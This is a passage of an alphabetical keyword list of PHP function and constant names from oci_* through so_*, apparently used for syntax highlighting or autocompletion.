oci_fetchstatement_by_column oci_fetchstatement_by_row oci_field_is_null oci_field_name oci_field_precision oci_field_scale oci_field_size oci_field_type oci_field_type_raw oci_free_descriptor oci_free_statement oci_get_implicit_resultset oci_internal_debug oci_lob_buffer_free oci_lob_copy oci_lob_is_equal oci_new_collection oci_new_connect oci_new_cursor oci_new_descriptor oci_no_auto_commit oci_num oci_num_fields oci_num_rows oci_parse oci_password_change oci_pconnect oci_result oci_return_lobs oci_return_nulls oci_rollback oci_seek_cur oci_seek_end oci_seek_set oci_server_version oci_set_action oci_set_client_identifier oci_set_client_info oci_set_edition oci_set_module_name oci_set_prefetch oci_statement_type oci_sysdate oci_sysdba oci_sysoper oci_temp_blob oci_temp_clob ocibindbyname ocicolumnisnull ocicolumnname ocicolumnsize ocicolumntype ocicommit ocidefinebyname ocierror ociexecute ocifetch ocifetchinto ocifetchstatement ocifreestatement ocilogoff ocilogon ocinewcursor ocinewdescriptor ocinlogon ocinumcols ociparse ociplogon ociresult ocirollback ocirowcount ociserverversion ocistatementtype octdec odbc_autocommit odbc_binmode odbc_binmode_convert odbc_binmode_passthru odbc_binmode_return odbc_close odbc_close_all odbc_columnprivileges odbc_columns odbc_commit odbc_connect odbc_cursor odbc_data_source odbc_do odbc_error odbc_errormsg odbc_exec odbc_execute odbc_fetch_array odbc_fetch_into odbc_fetch_object odbc_fetch_row odbc_field_len odbc_field_name odbc_field_num odbc_field_precision odbc_field_scale odbc_field_type odbc_foreignkeys odbc_free_result odbc_gettypeinfo odbc_longreadlen odbc_next_result odbc_num_fields odbc_num_rows odbc_pconnect odbc_prepare odbc_primarykeys odbc_procedurecolumns odbc_procedures odbc_result odbc_result_all odbc_rollback odbc_setoption odbc_specialcolumns odbc_statistics odbc_tableprivileges odbc_tables odbc_type oggvorbis_pcm_s16_be oggvorbis_pcm_s16_le oggvorbis_pcm_s8 oggvorbis_pcm_u16_be oggvorbis_pcm_u16_le oggvorbis_pcm_u8 old_function op_anonymous op_debug op_expunge op_halfopen op_prototype op_readonly op_secure op_shortcache op_silent opcache_compile_file opcache_get_configuration opcache_get_status opcache_invalidate opcache_is_script_cached opcache_reset openal_buffer_create openal_buffer_data openal_buffer_destroy openal_buffer_get openal_buffer_loadwav openal_context_create openal_context_current openal_context_destroy openal_context_process openal_context_suspend openal_device_close openal_device_open openal_listener_get openal_listener_set openal_source_create openal_source_destroy openal_source_get openal_source_pause openal_source_play openal_source_rewind openal_source_set openal_source_stop openal_stream opendir openlog openssl_algo_dss1 openssl_algo_md4 openssl_algo_md5 openssl_algo_rmd160 openssl_algo_sha1 + openssl_algo_sha224 openssl_algo_sha256 openssl_algo_sha384 openssl_algo_sha512 openssl_cipher_3des openssl_cipher_aes_128_cbc openssl_cipher_aes_192_cbc openssl_cipher_aes_256_cbc openssl_cipher_des openssl_cipher_iv_length openssl_cipher_rc2_128 openssl_cipher_rc2_40 openssl_cipher_rc2_64 openssl_csr_export openssl_csr_export_to_file openssl_csr_get_public_key openssl_csr_get_subject openssl_csr_new openssl_csr_sign openssl_decrypt openssl_default_stream_ciphers openssl_dh_compute_key openssl_digest openssl_encrypt openssl_error_string openssl_free_key openssl_get_cert_locations openssl_get_cipher_methods openssl_get_md_methods openssl_get_privatekey openssl_get_publickey openssl_keytype_dh openssl_keytype_dsa openssl_keytype_ec openssl_keytype_rsa openssl_no_padding openssl_open openssl_pbkdf2 openssl_pkcs12_export openssl_pkcs12_export_to_file openssl_pkcs12_read openssl_pkcs1_oaep_padding openssl_pkcs1_padding openssl_pkcs7_decrypt openssl_pkcs7_encrypt openssl_pkcs7_sign openssl_pkcs7_verify openssl_pkey_export openssl_pkey_export_to_file openssl_pkey_free openssl_pkey_get_details openssl_pkey_get_private openssl_pkey_get_public openssl_pkey_new openssl_private_decrypt openssl_private_encrypt openssl_public_decrypt openssl_public_encrypt openssl_random_pseudo_bytes openssl_raw_data openssl_seal openssl_sign openssl_spki_export openssl_spki_export_challenge openssl_spki_new openssl_spki_verify openssl_sslv23_padding openssl_tlsext_server_name openssl_verify openssl_version_number openssl_version_text openssl_x509_check_private_key openssl_x509_checkpurpose openssl_x509_export openssl_x509_export_to_file openssl_x509_fingerprint openssl_x509_free openssl_x509_parse openssl_x509_read openssl_zero_padding or ord output_add_rewrite_var output_reset_rewrite_vars override_function p_cs_precedes p_sep_by_space p_sign_posn pack parent parse_ini_file parse_ini_string parse_str parse_url parsekit_compile_file parsekit_compile_string parsekit_extended_value parsekit_func_arginfo parsekit_is_const parsekit_is_tmp_var parsekit_is_unused parsekit_is_var parsekit_quiet parsekit_result_const parsekit_result_ea_type parsekit_result_jmp_addr parsekit_result_oparray parsekit_result_opline parsekit_result_var parsekit_simple parsekit_usage_unknown parsekit_zend_add parsekit_zend_add_array_element parsekit_zend_add_char parsekit_zend_add_interface parsekit_zend_add_string parsekit_zend_add_var parsekit_zend_assign parsekit_zend_assign_add parsekit_zend_assign_bw_and parsekit_zend_assign_bw_or parsekit_zend_assign_bw_xor parsekit_zend_assign_concat parsekit_zend_assign_dim parsekit_zend_assign_div parsekit_zend_assign_mod parsekit_zend_assign_mul parsekit_zend_assign_obj parsekit_zend_assign_ref parsekit_zend_assign_sl parsekit_zend_assign_sr parsekit_zend_assign_sub parsekit_zend_begin_silence parsekit_zend_bool parsekit_zend_bool_not parsekit_zend_bool_xor parsekit_zend_brk parsekit_zend_bw_and parsekit_zend_bw_not parsekit_zend_bw_or parsekit_zend_bw_xor parsekit_zend_case parsekit_zend_cast parsekit_zend_catch parsekit_zend_clone parsekit_zend_concat parsekit_zend_cont parsekit_zend_declare_class parsekit_zend_declare_function parsekit_zend_declare_inherited_class parsekit_zend_div parsekit_zend_do_fcall parsekit_zend_do_fcall_by_name parsekit_zend_echo parsekit_zend_end_silence parsekit_zend_eval_code parsekit_zend_exit parsekit_zend_ext_fcall_begin parsekit_zend_ext_fcall_end parsekit_zend_ext_nop parsekit_zend_ext_stmt parsekit_zend_fe_fetch parsekit_zend_fe_reset parsekit_zend_fetch_class parsekit_zend_fetch_constant parsekit_zend_fetch_dim_func_arg parsekit_zend_fetch_dim_is parsekit_zend_fetch_dim_r parsekit_zend_fetch_dim_rw parsekit_zend_fetch_dim_tmp_var parsekit_zend_fetch_dim_unset parsekit_zend_fetch_dim_w parsekit_zend_fetch_func_arg parsekit_zend_fetch_is parsekit_zend_fetch_obj_func_arg parsekit_zend_fetch_obj_is parsekit_zend_fetch_obj_r parsekit_zend_fetch_obj_rw parsekit_zend_fetch_obj_unset parsekit_zend_fetch_obj_w parsekit_zend_fetch_r parsekit_zend_fetch_rw parsekit_zend_fetch_unset parsekit_zend_fetch_w parsekit_zend_free parsekit_zend_handle_exception parsekit_zend_import_class parsekit_zend_import_const parsekit_zend_import_function parsekit_zend_include_or_eval parsekit_zend_init_array parsekit_zend_init_ctor_call parsekit_zend_init_fcall_by_name parsekit_zend_init_method_call parsekit_zend_init_static_method_call parsekit_zend_init_string parsekit_zend_instanceof parsekit_zend_internal_class parsekit_zend_internal_function parsekit_zend_is_equal parsekit_zend_is_identical parsekit_zend_is_not_equal parsekit_zend_is_not_identical parsekit_zend_is_smaller parsekit_zend_is_smaller_or_equal parsekit_zend_isset_isempty parsekit_zend_isset_isempty_dim_obj parsekit_zend_isset_isempty_prop_obj parsekit_zend_isset_isempty_var parsekit_zend_jmp parsekit_zend_jmp_no_ctor parsekit_zend_jmpnz parsekit_zend_jmpnz_ex parsekit_zend_jmpz parsekit_zend_jmpz_ex parsekit_zend_jmpznz parsekit_zend_mod parsekit_zend_mul parsekit_zend_new parsekit_zend_nop parsekit_zend_op_data parsekit_zend_overloaded_function parsekit_zend_overloaded_function_temporary parsekit_zend_post_dec parsekit_zend_post_dec_obj parsekit_zend_post_inc parsekit_zend_post_inc_obj parsekit_zend_pre_dec parsekit_zend_pre_dec_obj parsekit_zend_pre_inc parsekit_zend_pre_inc_obj parsekit_zend_print parsekit_zend_qm_assign parsekit_zend_raise_abstract_error parsekit_zend_recv parsekit_zend_recv_init parsekit_zend_return parsekit_zend_send_ref parsekit_zend_send_val parsekit_zend_send_var parsekit_zend_send_var_no_ref parsekit_zend_sl parsekit_zend_sr parsekit_zend_sub parsekit_zend_switch_free parsekit_zend_throw parsekit_zend_ticks parsekit_zend_unset_dim_obj parsekit_zend_unset_var parsekit_zend_user_class parsekit_zend_user_function parsekit_zend_verify_abstract_class passthru password_bcrypt password_bcrypt_default_cost password_default password_get_info password_hash password_needs_rehash password_verify path_separator pathinfo pathinfo_basename pathinfo_dirname pathinfo_extension pathinfo_filename pclose pcntl_alarm pcntl_errno pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig pcre_version pdf_activate_item pdf_add_annotation pdf_add_bookmark pdf_add_launchlink pdf_add_locallink pdf_add_nameddest pdf_add_note pdf_add_outline pdf_add_pdflink pdf_add_table_cell pdf_add_textflow pdf_add_thumbnail pdf_add_weblink pdf_arc pdf_arcn pdf_attach_file pdf_begin_document pdf_begin_font pdf_begin_glyph pdf_begin_item pdf_begin_layer pdf_begin_page pdf_begin_page_ext pdf_begin_pattern pdf_begin_template pdf_begin_template_ext pdf_circle pdf_clip pdf_close pdf_close_image pdf_close_pdi pdf_close_pdi_page pdf_closepath pdf_closepath_fill_stroke pdf_closepath_stroke pdf_concat pdf_continue_text pdf_create_3dview pdf_create_action pdf_create_annotation pdf_create_bookmark pdf_create_field pdf_create_fieldgroup pdf_create_gstate pdf_create_pvf pdf_create_textflow pdf_curveto pdf_define_layer pdf_delete pdf_delete_pvf pdf_delete_table pdf_delete_textflow pdf_encoding_set_char pdf_end_document pdf_end_font pdf_end_glyph pdf_end_item pdf_end_layer pdf_end_page pdf_end_page_ext pdf_end_pattern pdf_end_template pdf_endpath pdf_fill pdf_fill_imageblock pdf_fill_pdfblock pdf_fill_stroke pdf_fill_textblock pdf_findfont pdf_fit_image pdf_fit_pdi_page pdf_fit_table pdf_fit_textflow pdf_fit_textline pdf_get_apiname pdf_get_buffer pdf_get_errmsg pdf_get_errnum pdf_get_font pdf_get_fontname pdf_get_fontsize pdf_get_image_height pdf_get_image_width pdf_get_majorversion pdf_get_minorversion pdf_get_parameter pdf_get_pdi_parameter pdf_get_pdi_value pdf_get_value pdf_info_font pdf_info_matchbox pdf_info_table pdf_info_textflow pdf_info_textline pdf_initgraphics pdf_lineto pdf_load_3ddata pdf_load_font pdf_load_iccprofile pdf_load_image pdf_makespotcolor pdf_moveto pdf_new pdf_open_ccitt pdf_open_file pdf_open_gif pdf_open_image pdf_open_image_file pdf_open_jpeg pdf_open_memory_image pdf_open_pdi pdf_open_pdi_document pdf_open_pdi_page pdf_open_tiff pdf_pcos_get_number pdf_pcos_get_stream pdf_pcos_get_string pdf_place_image pdf_place_pdi_page pdf_process_pdi pdf_rect pdf_restore pdf_resume_page pdf_rotate pdf_save pdf_scale pdf_set_border_color pdf_set_border_dash pdf_set_border_style pdf_set_char_spacing pdf_set_duration pdf_set_gstate pdf_set_horiz_scaling pdf_set_info pdf_set_info_author pdf_set_info_creator pdf_set_info_keywords pdf_set_info_subject pdf_set_info_title pdf_set_layer_dependency pdf_set_leading pdf_set_parameter pdf_set_text_matrix pdf_set_text_pos pdf_set_text_rendering pdf_set_text_rise pdf_set_value pdf_set_word_spacing pdf_setcolor pdf_setdash pdf_setdashpattern pdf_setflat pdf_setfont pdf_setgray pdf_setgray_fill pdf_setgray_stroke pdf_setlinecap pdf_setlinejoin pdf_setlinewidth pdf_setmatrix pdf_setmiterlimit pdf_setpolydash pdf_setrgbcolor pdf_setrgbcolor_fill pdf_setrgbcolor_stroke pdf_shading pdf_shading_pattern pdf_shfill pdf_show pdf_show_boxed pdf_show_xy pdf_skew pdf_stringwidth pdf_stroke pdf_suspend_page pdf_translate pdf_utf16_to_utf8 pdf_utf32_to_utf16 pdf_utf8_to_utf16 pdo_drivers pear_extension_dir pear_install_dir pfsockopen pg_affected_rows pg_cancel_query pg_client_encoding pg_clientencoding pg_close pg_cmdtuples pg_connect pg_connect_poll pg_connection_busy pg_connection_reset pg_connection_status pg_consume_input pg_convert pg_copy_from pg_copy_to pg_dbname pg_delete pg_end_copy pg_errormessage pg_escape_bytea pg_escape_identifier pg_escape_literal pg_escape_string pg_exec + pg_execute pg_fetch_all pg_fetch_all_columns pg_fetch_array pg_fetch_assoc pg_fetch_object pg_fetch_result pg_fetch_row pg_field_is_null pg_field_name pg_field_num pg_field_prtlen pg_field_size pg_field_table pg_field_type pg_field_type_oid pg_fieldisnull pg_fieldname pg_fieldnum pg_fieldprtlen pg_fieldsize pg_fieldtype pg_flush pg_free_result pg_freeresult pg_get_notify pg_get_pid pg_get_result pg_getlastoid pg_host pg_insert pg_last_error pg_last_notice pg_last_oid pg_lo_close pg_lo_create pg_lo_export pg_lo_import pg_lo_open pg_lo_read pg_lo_read_all pg_lo_seek pg_lo_tell pg_lo_truncate pg_lo_unlink pg_lo_write pg_loclose pg_locreate pg_loexport pg_loimport pg_loopen pg_loread pg_loreadall pg_lounlink pg_lowrite pg_meta_data pg_num_fields pg_num_rows pg_numfields pg_numrows pg_options pg_parameter_status pg_pconnect pg_ping pg_port pg_prepare pg_put_line pg_query pg_query_params pg_result pg_result_error pg_result_error_field pg_result_seek pg_result_status pg_select pg_send_execute pg_send_prepare pg_send_query pg_send_query_params pg_set_client_encoding pg_set_error_verbosity pg_setclientencoding pg_socket pg_trace pg_transaction_status pg_tty pg_unescape_bytea pg_untrace pg_update pg_version pgsql_assoc pgsql_bad_response pgsql_both pgsql_command_ok pgsql_connect_async pgsql_connect_force_new pgsql_connection_auth_ok pgsql_connection_awaiting_response pgsql_connection_bad pgsql_connection_made pgsql_connection_ok pgsql_connection_setenv pgsql_connection_started pgsql_conv_force_null pgsql_conv_ignore_default pgsql_conv_ignore_not_null pgsql_copy_in pgsql_copy_out pgsql_diag_context pgsql_diag_internal_position pgsql_diag_internal_query pgsql_diag_message_detail pgsql_diag_message_hint pgsql_diag_message_primary pgsql_diag_severity pgsql_diag_source_file pgsql_diag_source_function pgsql_diag_source_line pgsql_diag_sqlstate pgsql_diag_statement_position pgsql_dml_async pgsql_dml_escape pgsql_dml_exec pgsql_dml_no_conv pgsql_dml_string pgsql_empty_query pgsql_errors_default pgsql_errors_terse pgsql_errors_verbose pgsql_fatal_error pgsql_libpq_version pgsql_libpq_version_str pgsql_nonfatal_error pgsql_num pgsql_polling_active pgsql_polling_failed pgsql_polling_ok pgsql_polling_reading pgsql_polling_writing pgsql_seek_cur pgsql_seek_end pgsql_seek_set pgsql_status_long pgsql_status_string pgsql_transaction_active pgsql_transaction_idle pgsql_transaction_inerror pgsql_transaction_intrans pgsql_transaction_unknown pgsql_tuples_ok php_binary php_binary_read php_bindir php_check_syntax php_config_file_path php_config_file_scan_dir php_datadir php_debug php_egg_logo_guid php_eol php_extension_dir php_extra_version php_ini_loaded_file php_ini_scanned_files php_int_max php_int_size php_libdir php_localstatedir php_logo_guid php_major_version php_mandir php_maxpathlen php_minor_version php_normal_read php_os php_output_handler_clean php_output_handler_cleanable php_output_handler_cont php_output_handler_disabled php_output_handler_end php_output_handler_final php_output_handler_flush php_output_handler_flushable php_output_handler_removable php_output_handler_start php_output_handler_started php_output_handler_stdflags php_output_handler_write php_prefix php_query_rfc1738 php_query_rfc3986 php_real_logo_guid php_release_version php_round_half_down php_round_half_even php_round_half_odd php_round_half_up php_sapi php_sapi_name php_session_active php_session_disabled php_session_none php_shlib_suffix php_strip_whitespace php_svn_auth_param_ignore_ssl_verify_errors php_sysconfdir php_uname php_url_fragment php_url_host php_url_pass php_url_path php_url_port php_url_query php_url_scheme php_url_user php_version php_version_id php_windows_nt_domain_controller php_windows_nt_server php_windows_nt_workstation php_windows_version_build php_windows_version_major php_windows_version_minor php_windows_version_platform php_windows_version_producttype php_windows_version_sp_major php_windows_version_sp_minor php_windows_version_suitemask php_zts phpcredits phpinfo phpversion pi pkcs7_binary pkcs7_detached pkcs7_noattr pkcs7_nocerts pkcs7_nochain pkcs7_nointern pkcs7_nosigs pkcs7_noverify pkcs7_text pm_str png2wbmp png_all_filters png_filter_avg png_filter_none png_filter_paeth png_filter_sub png_filter_up png_no_filter poll_err poll_hup poll_in poll_msg poll_out poll_pri popen pos positive_sign posix_access posix_ctermid posix_errno posix_f_ok posix_get_last_error posix_getcwd posix_getegid posix_geteuid posix_getgid posix_getgrgid posix_getgrnam posix_getgroups posix_getlogin posix_getpgid posix_getpgrp posix_getpid posix_getppid posix_getpwnam posix_getpwuid posix_getrlimit posix_getsid posix_getuid posix_initgroups posix_isatty posix_kill posix_mkfifo posix_mknod posix_r_ok posix_s_ifblk posix_s_ifchr posix_s_ififo posix_s_ifreg posix_s_ifsock posix_setegid posix_seteuid posix_setgid posix_setpgid posix_setrlimit posix_setsid posix_setuid posix_strerror posix_times posix_ttyname posix_uname posix_w_ok posix_x_ok pow preg_backtrack_limit_error preg_bad_utf8_error preg_bad_utf8_offset_error preg_filter preg_grep preg_grep_invert preg_internal_error preg_last_error preg_match preg_match_all preg_no_error preg_offset_capture preg_pattern_order preg_quote preg_recursion_limit_error preg_replace preg_replace_callback preg_replace_callback_array preg_set_order preg_split preg_split_delim_capture preg_split_no_empty preg_split_offset_capture prev print print_r printf private proc_close proc_get_status proc_nice proc_open proc_terminate prof_trace property_exists protected ps_add_bookmark ps_add_launchlink ps_add_locallink ps_add_note ps_add_pdflink ps_add_weblink ps_arc ps_arcn ps_begin_page ps_begin_pattern ps_begin_template ps_circle ps_clip ps_close ps_close_image ps_closepath ps_closepath_stroke ps_continue_text ps_curveto ps_delete ps_end_page ps_end_pattern ps_end_template ps_fill ps_fill_stroke ps_findfont ps_get_buffer ps_get_parameter ps_get_value ps_hyphenate ps_include_file ps_linecap_butt ps_linecap_round ps_linecap_squared ps_linejoin_bevel ps_linejoin_miter ps_linejoin_round ps_lineto ps_makespotcolor ps_moveto ps_new ps_open_file ps_open_image ps_open_image_file ps_open_memory_image ps_place_image ps_rect ps_restore ps_rotate ps_save ps_scale ps_set_border_color ps_set_border_dash ps_set_border_style ps_set_info ps_set_parameter ps_set_text_pos ps_set_value ps_setcolor ps_setdash ps_setflat ps_setfont ps_setgray ps_setlinecap ps_setlinejoin ps_setlinewidth ps_setmiterlimit ps_setoverprintmode ps_setpolydash ps_shading ps_shading_pattern ps_shfill ps_show ps_show2 ps_show_boxed ps_show_xy ps_show_xy2 ps_string_geometry ps_stringwidth ps_stroke ps_symbol ps_symbol_name ps_symbol_width ps_translate psfs_err_fatal psfs_feed_me psfs_flag_flush_close psfs_flag_flush_inc psfs_flag_normal psfs_pass_on pspell_add_to_personal pspell_add_to_session pspell_bad_spellers pspell_check pspell_clear_session pspell_config_create pspell_config_data_dir pspell_config_dict_dir pspell_config_ignore pspell_config_mode pspell_config_personal pspell_config_repl pspell_config_runtogether pspell_config_save_repl pspell_fast pspell_new pspell_new_config pspell_new_personal pspell_normal pspell_run_together pspell_save_wordlist pspell_store_replacement pspell_suggest pthreads_allow_headers pthreads_inherit_all pthreads_inherit_classes pthreads_inherit_comments pthreads_inherit_constants pthreads_inherit_functions pthreads_inherit_includes pthreads_inherit_ini pthreads_inherit_none public putenv px_close px_create_fp px_date2string px_delete px_delete_record px_field_alpha px_field_autoinc px_field_bcd px_field_blob px_field_bytes px_field_currency px_field_date px_field_fmtmemoblob px_field_graphic px_field_logical px_field_long px_field_memoblob px_field_number px_field_ole px_field_short px_field_time px_field_timestamp px_file_inc_sec_index px_file_inc_sec_index_g px_file_index_db px_file_non_inc_sec_index px_file_non_inc_sec_index_g px_file_non_index_db px_file_prim_index px_file_sec_index px_file_sec_index_g px_get_field px_get_info px_get_parameter px_get_record px_get_schema px_get_value px_insert_record px_keytolower px_keytoupper px_new px_numfields px_numrecords px_open_fp px_put_record px_retrieve_record px_set_blob_file px_set_parameter px_set_tablename px_set_targetencoding px_set_value px_timestamp2string px_update_record quoted_printable_decode quoted_printable_encode quotemeta rad2deg radius_access_accept radius_access_challenge radius_access_reject radius_access_request radius_accounting_off radius_accounting_on radius_accounting_request radius_accounting_response radius_acct_authentic radius_acct_delay_time radius_acct_input_octets radius_acct_input_packets radius_acct_link_count radius_acct_multi_session_id radius_acct_open radius_acct_output_octets radius_acct_output_packets radius_acct_session_id radius_acct_session_time radius_acct_status_type radius_acct_terminate_cause radius_add_server radius_administrative radius_adsl_cap radius_adsl_dmt radius_arap radius_async radius_auth_local radius_auth_open radius_auth_radius radius_auth_remote radius_authenticate_only radius_cable radius_callback_framed radius_callback_id radius_callback_login radius_callback_nas_prompt radius_callback_number radius_called_station_id radius_calling_station_id radius_chap_challenge radius_chap_password radius_class radius_close radius_coa_ack radius_coa_nak radius_coa_request radius_comp_ipxhdr radius_comp_none radius_comp_stac_lzs radius_comp_vj radius_config radius_connect_info radius_create_request radius_cvt_addr radius_cvt_int radius_cvt_string radius_demangle radius_demangle_mppe_key radius_disconnect_ack radius_disconnect_nak radius_disconnect_request radius_ethernet radius_filter_id radius_framed radius_framed_appletalk_link radius_framed_appletalk_network radius_framed_appletalk_zone + radius_framed_compression radius_framed_ip_address radius_framed_ip_netmask radius_framed_ipx_network radius_framed_mtu radius_framed_protocol radius_framed_route radius_framed_routing radius_g_3_fax radius_gandalf radius_get_attr radius_get_tagged_attr_data radius_get_tagged_attr_tag radius_get_vendor_attr radius_hdlc_clear_channel radius_idle_timeout radius_idsl radius_isdn_async_v110 radius_isdn_async_v120 radius_isdn_sync radius_login radius_login_ip_host radius_login_lat_group radius_login_lat_node radius_login_lat_port radius_login_lat_service radius_login_service radius_login_tcp_port radius_microsoft_ms_acct_auth_type radius_microsoft_ms_acct_eap_type radius_microsoft_ms_arap_challenge radius_microsoft_ms_arap_password_change_reason radius_microsoft_ms_bap_usage radius_microsoft_ms_chap2_pw radius_microsoft_ms_chap2_response radius_microsoft_ms_chap2_success radius_microsoft_ms_chap_challenge radius_microsoft_ms_chap_domain radius_microsoft_ms_chap_error radius_microsoft_ms_chap_lm_enc_pw radius_microsoft_ms_chap_mppe_keys radius_microsoft_ms_chap_nt_enc_pw radius_microsoft_ms_chap_pw_1 radius_microsoft_ms_chap_pw_2 radius_microsoft_ms_chap_response radius_microsoft_ms_filter radius_microsoft_ms_link_drop_time_limit radius_microsoft_ms_link_utilization_threshold radius_microsoft_ms_mppe_encryption_policy radius_microsoft_ms_mppe_encryption_types radius_microsoft_ms_mppe_recv_key radius_microsoft_ms_mppe_send_key radius_microsoft_ms_new_arap_password radius_microsoft_ms_old_arap_password radius_microsoft_ms_primary_dns_server radius_microsoft_ms_primary_nbns_server radius_microsoft_ms_ras_vendor radius_microsoft_ms_ras_version radius_microsoft_ms_secondary_dns_server radius_microsoft_ms_secondary_nbns_server radius_mppe_key_len radius_nas_identifier radius_nas_ip_address radius_nas_port radius_nas_port_type radius_nas_prompt radius_option_salt radius_option_tagged radius_outbound radius_piafs radius_port_limit radius_ppp radius_proxy_state radius_put_addr radius_put_attr radius_put_int radius_put_string radius_put_vendor_addr radius_put_vendor_attr radius_put_vendor_int radius_put_vendor_string radius_reply_message radius_request_authenticator radius_salt_encrypt_attr radius_sdsl radius_send_request radius_server_secret radius_service_type radius_session_timeout radius_slip radius_start radius_state radius_stop radius_strerror radius_sync radius_term_admin_reboot radius_term_admin_reset radius_term_callback radius_term_host_request radius_term_idle_timeout radius_term_lost_carrier radius_term_lost_service radius_term_nas_error radius_term_nas_reboot radius_term_nas_request radius_term_port_error radius_term_port_preempted radius_term_port_suspended radius_term_port_unneeded radius_term_service_unavailable radius_term_session_timeout radius_term_user_error radius_term_user_request radius_termination_action radius_user_name radius_user_password radius_vendor_microsoft radius_vendor_specific radius_virtual radius_wireless_ieee_802_11 radius_wireless_other radius_x_25 radius_x_75 radius_xdsl radius_xylogics radixchar rand random_bytes random_int range rar_host_beos rar_host_msdos rar_host_os2 rar_host_unix rar_host_win32 rar_wrapper_cache_stats rawurldecode rawurlencode read_exif_data readdir readfile readgzfile readline readline_add_history readline_callback_handler_install readline_callback_handler_remove readline_callback_read_char readline_clear_history readline_completion_function readline_info readline_list_history readline_on_new_line readline_read_history readline_redisplay readline_write_history readlink real realpath realpath_cache_get realpath_cache_size register_shutdown_function register_tick_function rename rename_function require require_once reset resource resourcebundle_count resourcebundle_create resourcebundle_get resourcebundle_get_error_code resourcebundle_get_error_message resourcebundle_locales restore_error_handler restore_exception_handler restore_include_path return rewind rewinddir rmdir round rpm_close rpm_get_tag rpm_is_valid rpm_open rpm_version rpmreader_arch rpmreader_archivesize rpmreader_basenames rpmreader_buildarchs rpmreader_buildhost rpmreader_buildtime rpmreader_cachectime rpmreader_cachepkgmtime rpmreader_cachepkgpath rpmreader_cachepkgsize rpmreader_changelogname rpmreader_changelogtext rpmreader_changelogtime rpmreader_classdict rpmreader_conflictflags rpmreader_conflictname rpmreader_conflictversion rpmreader_cookie rpmreader_copyright rpmreader_dependsdict rpmreader_description rpmreader_dirindexes rpmreader_dirnames rpmreader_distribution rpmreader_disturl rpmreader_epoch rpmreader_excludearch rpmreader_excludeos rpmreader_exclusivearch rpmreader_exclusiveos rpmreader_fileclass rpmreader_filecolors rpmreader_filecontexts rpmreader_filedependsn rpmreader_filedependsx rpmreader_filedevices rpmreader_fileflags rpmreader_filegroupname rpmreader_fileinodes rpmreader_filelangs rpmreader_filelinktos rpmreader_filemd5s rpmreader_filemodes rpmreader_filemtimes rpmreader_filerdevs rpmreader_filesizes rpmreader_filestates rpmreader_fileusername rpmreader_fileverifyflags rpmreader_fscontexts rpmreader_gif rpmreader_group rpmreader_icon rpmreader_installcolor rpmreader_installtid rpmreader_installtime rpmreader_instprefixes rpmreader_license rpmreader_maximum rpmreader_minimum rpmreader_name rpmreader_obsoleteflags rpmreader_obsoletename rpmreader_obsoletes rpmreader_obsoleteversion rpmreader_oldfilenames rpmreader_optflags rpmreader_os rpmreader_packager rpmreader_patch rpmreader_patchesflags rpmreader_patchesname rpmreader_patchesversion rpmreader_payloadcompressor rpmreader_payloadflags rpmreader_payloadformat rpmreader_platform rpmreader_policies rpmreader_postin rpmreader_postinprog rpmreader_postun rpmreader_postunprog rpmreader_prefixes rpmreader_prein rpmreader_preinprog rpmreader_preun rpmreader_preunprog rpmreader_provideflags rpmreader_providename rpmreader_provides rpmreader_provideversion rpmreader_recontexts rpmreader_release rpmreader_removetid rpmreader_requireflags rpmreader_requirename rpmreader_requireversion rpmreader_rhnplatform rpmreader_rpmversion rpmreader_serial rpmreader_size rpmreader_source rpmreader_sourcepkgid rpmreader_sourcerpm rpmreader_summary rpmreader_triggerflags rpmreader_triggerindex rpmreader_triggername rpmreader_triggerscriptprog rpmreader_triggerscripts rpmreader_triggerversion rpmreader_url rpmreader_vendor rpmreader_verifyscript rpmreader_verifyscriptprog rpmreader_version rpmreader_xpm rsort rtrim s_all s_executor s_files s_include s_internal s_irgrp s_iroth s_irusr s_irwxg s_irwxo s_irwxu s_iwgrp s_iwoth s_iwusr s_ixgrp s_ixoth s_ixusr s_mail s_memory s_misc s_session s_sql s_vars sa_all sa_messages sa_recent sa_uidnext sa_uidvalidity sa_unseen scandir scandir_sort_ascending scandir_sort_descending scandir_sort_none se_free se_noprefetch se_uid seek_cur seek_end seek_set segv_accerr segv_maperr sem_acquire sem_get sem_release sem_remove serialize session_abort session_cache_expire session_cache_limiter session_commit session_decode session_destroy session_encode session_get_cookie_params session_id session_is_registered session_module_name session_name session_pgsql_add_error session_pgsql_get_error session_pgsql_get_field session_pgsql_reset session_pgsql_set_field session_pgsql_status session_regenerate_id session_register session_register_shutdown session_reset session_save_path session_set_cookie_params session_set_save_handler session_start session_status session_unregister session_unset session_write_close set_error_handler set_exception_handler set_file_buffer set_include_path set_magic_quotes_runtime set_socket_blocking set_time_limit setcookie setlocale setproctitle setrawcookie setthreadtitle settype sha1 sha1_file shell_exec shm_attach shm_detach shm_get_var shm_has_var shm_put_var shm_remove shm_remove_var shmop_close shmop_delete shmop_open shmop_read shmop_size shmop_write show_source shuffle si_asyncio si_kernel si_msggq si_noinfo si_queue si_sigio si_timer si_tkill si_user sid sig_block sig_dfl sig_err sig_ign sig_setmask sig_unblock sigabrt sigalrm sigbaby sigbus sigchld sigcld sigcont sigfpe sighup sigill sigint sigio sigiot sigkill signeurlpaiement sigpipe sigpoll sigprof sigpwr sigquit sigsegv sigstkflt sigstop sigsys sigterm sigtrap sigtstp sigttin sigttou sigurg sigusr1 sigusr2 sigvtalrm sigwinch sigxcpu sigxfsz similar_text simplexml_import_dom simplexml_load_file simplexml_load_string sin sinh sizeof sleep snmp2_get snmp2_getnext snmp2_real_walk snmp2_set snmp2_walk snmp3_get snmp3_getnext snmp3_real_walk snmp3_set snmp3_walk snmp_bit_str snmp_counter snmp_counter64 snmp_get_quick_print snmp_get_valueretrieval snmp_integer snmp_ipaddress snmp_null snmp_object_id snmp_octet_str snmp_oid_output_full snmp_oid_output_module snmp_oid_output_none snmp_oid_output_numeric snmp_oid_output_suffix snmp_oid_output_ucd snmp_opaque snmp_read_mib snmp_set_enum_print snmp_set_oid_numeric_print snmp_set_oid_output_format snmp_set_quick_print snmp_set_valueretrieval snmp_timeticks snmp_uinteger snmp_unsigned snmp_value_library snmp_value_object snmp_value_plain snmpget snmpgetnext snmprealwalk snmpset snmpwalk snmpwalkoid so_bindtodevice so_broadcast so_debug so_dontroute so_error so_free so_keepalive so_linger so_noserver so_oobinline so_rcvbuf 